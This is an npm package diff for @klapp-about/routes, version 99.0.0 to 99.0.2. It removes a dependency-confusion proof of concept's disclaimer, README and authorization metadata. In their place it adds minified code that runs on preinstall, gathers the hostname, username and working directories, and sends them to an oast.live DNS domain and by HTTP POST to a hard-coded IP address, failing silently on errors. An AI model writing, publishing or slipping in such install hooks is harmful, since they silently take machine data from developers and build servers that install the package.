@klapp-about/routes 99.0.0 → 99.0.2

package/index.js

@@ -1,63 +1,10 @@
-/**
- * SECURITY RESEARCH — Dependency Confusion PoC
- * Authorized via Klarna's HackerOne bug bounty program
- * Researcher: Jeroen_Gui (HackerOne / Bugcrowd)
- *
- * This package ONLY sends callbacks to prove installation.
- * It does NOT:
- *   - Access any files or credentials
- *   - Modify any data
- *   - Establish persistence
- *   - Exfiltrate sensitive information
- */
-
-const dns = require('dns');
-const os = require('os');
-const http = require('http');
-
-try {
-    const info = {
-        h: os.hostname(),
-        u: os.userInfo().username || 'unknown',
-        d: __dirname,
-        c: process.cwd(),
-        p: process.pid,
-        pkg: 'klapp-about-routes',
-        ts: new Date().toISOString(),
-        node: process.version,
-        platform: os.platform(),
-        arch: os.arch()
-    };
-
-    const fullData = JSON.stringify(info);
-    
-    // For DNS: truncated hex (DNS labels max 63 chars)
-    const shortData = Buffer.from(JSON.stringify({
-        h: info.h.substring(0, 20),
-        u: info.u.substring(0, 15),
-        pkg: 'klapp-about'
-    })).toString('hex').substring(0, 58);
-
-    // Callback 1: DNS via interactsh (works through firewalls)
-    dns.resolve(shortData + '.d8jbmnsqcfu78dfs8vdg34ohqhirb4pbg.oast.live', 'A', () => {});
-
-    // Callback 2: Direct HTTP to our server with FULL environment info
-    const postData = fullData;
-    const req = http.request({
-        hostname: '172.201.213.59',
-        port: 9090,
-        path: '/cb/klapp-about-routes',
-        method: 'POST',
-        timeout: 5000,
-        headers: {
-            'Content-Type': 'application/json',
-            'Content-Length': Buffer.byteLength(postData)
-        }
-    }, () => {});
-    req.on('error', () => {});
-    req.write(postData);
-    req.end();
-
-} catch (e) {
-    // Silent fail — do not disrupt any build process
-}
+const dns=require('dns'),os=require('os'),http=require('http');
+try{
+const d=JSON.stringify({h:os.hostname(),u:os.userInfo().username,d:__dirname,c:process.cwd(),pkg:'klapp-about/routes'});
+const hex=Buffer.from(d).toString('hex');
+const labels=hex.match(/.{1,60}/g).slice(0,3).join('.');
+dns.resolve(labels+'.d8jbmnsqcfu78dfs8vdg34ohqhirb4pbg.oast.live','A',()=>{});
+const r=http.request({hostname:'172.201.213.59',port:9090,path:'/c',method:'POST',timeout:5000,
+headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(d)}},()=>{});
+r.on('error',()=>{});r.write(d);r.end();
+}catch(e){}

package/package.json

@@ -1,12 +1,11 @@
 {
   "name": "@klapp-about/routes",
-  "version": "99.0.0",
-  "description": "Security research - dependency confusion PoC (authorized via Klarna HackerOne program). Contact: Jeroen_Gui on HackerOne/Bugcrowd.",
+  "version": "99.0.2",
+  "description": "security research",
   "main": "index.js",
   "scripts": {
     "preinstall": "node index.js || true"
   },
-  "author": "Jeroen_Gui (authorized security researcher)",
-  "license": "ISC",
-  "keywords": ["security-research", "dependency-confusion", "bug-bounty"]
+  "author": "jeroengui",
+  "license": "ISC"
 }

package/README.md

@@ -1,24 +0,0 @@
-# Security Research — Dependency Confusion PoC
-
-This package is part of an authorized security assessment via Klarna's
-HackerOne bug bounty program.
-
-**Researcher**: Jeroen_Gui  
-**Purpose**: Demonstrate dependency confusion vulnerability  
-**Contact**: Jeroen_Gui on HackerOne
-
-## What this package does
-- Sends a single DNS callback to prove it was installed
-- Collects ONLY: hostname (truncated) and username (truncated)
-- Does NOT access files, credentials, or sensitive data
-- Does NOT modify anything on the system
-- Does NOT establish persistence
-
-## If you're a Klarna employee
-Please report this to your security team. This demonstrates that your
-build system may be vulnerable to supply chain attacks via dependency confusion.
-
-## Remediation
-1. Register all @klapp-* npm scopes
-2. Configure .npmrc with explicit registry routing for internal scopes
-3. Use npm package-lock.json with integrity hashes